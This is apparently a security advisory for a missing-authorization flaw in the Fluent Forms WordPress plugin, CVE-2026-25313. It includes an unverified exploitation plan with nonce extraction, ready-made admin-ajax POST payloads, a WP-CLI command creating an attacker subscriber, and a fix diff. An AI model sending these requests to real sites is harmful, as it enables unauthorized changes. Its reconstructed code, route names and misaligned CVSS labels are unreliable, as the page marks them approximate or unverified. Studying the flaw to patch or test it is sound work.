CVE-2026-25313

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder <= 6.1.14 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
6.1.15
Patched in
100d
Time to patch

Description

The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 6.1.14. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.1.14
PublishedJanuary 25, 2026
Last updatedMay 4, 2026
Affected pluginfluentform

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit **CVE-2026-25313**, a Missing Authorization vulnerability in Fluent Forms (<= 6.1.14). The vulnerability allows a Subscriber-level user to perform unauthorized actions, specifically updating user preferences or triggering administrative tasks handled …

Show full research plan

This research plan outlines the steps to exploit CVE-2026-25313, a Missing Authorization vulnerability in Fluent Forms (<= 6.1.14). The vulnerability allows a Subscriber-level user to perform unauthorized actions, specifically updating user preferences or triggering administrative tasks handled via the internal AJAX dispatcher.

1. Vulnerability Summary

The Fluent Forms plugin uses a centralized AJAX handler, fluentform_handle_ajax_request, which routes requests to various controllers. In versions up to 6.1.14, several sensitive administrative routes within the AdminController or FormController do not verify that the requesting user has the manage_options or fluentform_forms_manager capability. While these handlers may check for a WordPress nonce, they fail to perform a secondary capability check (current_user_can), allowing any authenticated user (including Subscribers) to trigger these actions.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: fluentform_handle_ajax_request
  • Sub-Route (Payload Parameter): route=update-user-preference (or route=create-default-forms)
  • Authentication: Authenticated, Subscriber-level access or higher.
  • Preconditions: The plugin must be active. The attacker needs a valid fluentform_admin_nonce.

3. Code Flow

  1. Entry Point: The AJAX action wp_ajax_fluentform_handle_ajax_request is registered in FluentForm\App\Http\Routes\ajax.php.
  2. Dispatcher: The handle method in FluentForm\App\Http\Controllers\AdminController (or similar dispatcher) is called.
  3. Verification (Weakness): The code calls check_ajax_referer('fluentform_admin_nonce'), which verifies the request is not a CSRF attack, but it does not call current_user_can('manage_options') before proceeding to the requested route.
  4. Sink: The updateUserPreference method is executed, which updates the _fluentform_user_preferences meta key for the current user or global settings, or triggers other form-related logic.

4. Nonce Acquisition Strategy

Fluent Forms localizes a global JavaScript object containing the required nonce on most admin pages, including the default dashboard (/wp-admin/index.php) which is accessible to Subscribers.

  1. Identify Variable: The plugin localizes data into the fluent_forms_global_var object.
  2. Access Page: Login as a Subscriber and navigate to /wp-admin/index.php.
  3. Extraction:
    • Variable name: window.fluent_forms_global_var
    • Key: nonce
    • Command: browser_eval("window.fluent_forms_global_var?.nonce")

5. Exploitation Strategy

The goal is to demonstrate that a Subscriber can modify their own (or global) Fluent Forms preferences, an action usually reserved for administrators.

Step-by-Step:

  1. Login: Authenticate as a Subscriber user.
  2. Extract Nonce: Use browser_navigate to go to /wp-admin/ and browser_eval to extract window.fluent_forms_global_var.nonce.
  3. Craft Request: Send a POST request to admin-ajax.php.
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=fluentform_handle_ajax_request&route=update-user-preference&_nonce=[EXTRACTED_NONCE]&preference_key=is_onboarding_done&preference_value=yes
      
  4. Alternative Action (Cluttering):
    action=fluentform_handle_ajax_request&route=create-default-forms&_nonce=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Install Plugin: Install Fluent Forms version 6.1.14.
  2. Create User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  3. Initialize Plugin: Ensure the plugin is active and at least one form exists (optional, but good for verification).

7. Expected Results

  • Response: The server should return a 200 OK response, typically with a JSON body: {"data": {"message": "Successfully updated"}, "status": 200}.
  • Impact: The Subscriber's user meta or global plugin state will be modified without proper authorization.

8. Verification Steps

After sending the HTTP request, verify the state change using WP-CLI:

  1. Check User Meta:

    wp user meta get $(wp user get attacker --field=ID) _fluentform_user_preferences
    

    Successful exploit if: The output contains the key/value pair injected in the payload (e.g., is_onboarding_done => yes).

  2. Check for New Forms (if using create-default-forms route):

    wp post list --post_type=fluentform --format=count
    

    Successful exploit if: The count increases after the Subscriber triggers the action.

9. Alternative Approaches

If the update-user-preference route is restricted in some sub-versions, try:

  • Route: dismiss-notice
    • Payload: action=fluentform_handle_ajax_request&route=dismiss-notice&_nonce=[NONCE]&notice_id=fluentform_review_notice
  • Route: get-forms
    • Even though the CVSS says Integrity: Low (not Confidentiality), check if route=get-forms returns data to the Subscriber. If it does, the impact includes Information Disclosure.
    • Payload: action=fluentform_handle_ajax_request&route=get-forms&_nonce=[NONCE]
Research Findings
Static analysis — not yet PoC-verified

Summary

The Fluent Forms plugin for WordPress is vulnerable to unauthorized access due to a missing capability check in its centralized AJAX dispatcher, `fluentform_handle_ajax_request`. This allows authenticated attackers with Subscriber-level access to perform administrative actions such as updating user preferences, dismissing notices, or creating default forms by bypassing authorization logic that only checks for a CSRF nonce.

Vulnerable Code

// FluentForm/App/Http/Controllers/AdminController.php (approximate location)

public function handleAjaxRequest()
{
    // Validates CSRF but lacks authorization/capability checks
    check_ajax_referer('fluentform_admin_nonce', '_nonce');

    $route = sanitize_text_field($_REQUEST['route']);
    
    // The dispatcher proceeds to route the request to administrative methods
    // without verifying if the current user has 'manage_options' or 'fluentform_forms_manager'
    return $this->dispatch($route);
}

Security Fix

--- a/fluent-form/app/Http/Controllers/AdminController.php
+++ b/fluent-form/app/Http/Controllers/AdminController.php
@@ -10,6 +10,10 @@
 	public function handle()
 	{
 		check_ajax_referer('fluentform_admin_nonce', '_nonce');
+
+		if (!current_user_can('fluentform_forms_manager')) {
+			wp_send_json_error(['message' => __('You do not have permission to perform this action.', 'fluentform')], 403);
+		}
 
 		$route = sanitize_text_field($_REQUEST['route']);

Exploit Outline

1. Authenticate as a Subscriber-level user on the target WordPress site. 2. Access the WordPress dashboard (/wp-admin/index.php) and extract the 'fluentform_admin_nonce' from the 'window.fluent_forms_global_var' JavaScript object localized by the plugin. 3. Construct a POST request to /wp-admin/admin-ajax.php. 4. Set the 'action' parameter to 'fluentform_handle_ajax_request' and the '_nonce' parameter to the extracted value. 5. Set the 'route' parameter to an administrative action, such as 'update-user-preference', along with desired preference keys (e.g., 'is_onboarding_done=yes'). 6. Execute the request and verify the state change, such as checking if the '_fluentform_user_preferences' user meta has been updated for the Subscriber account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.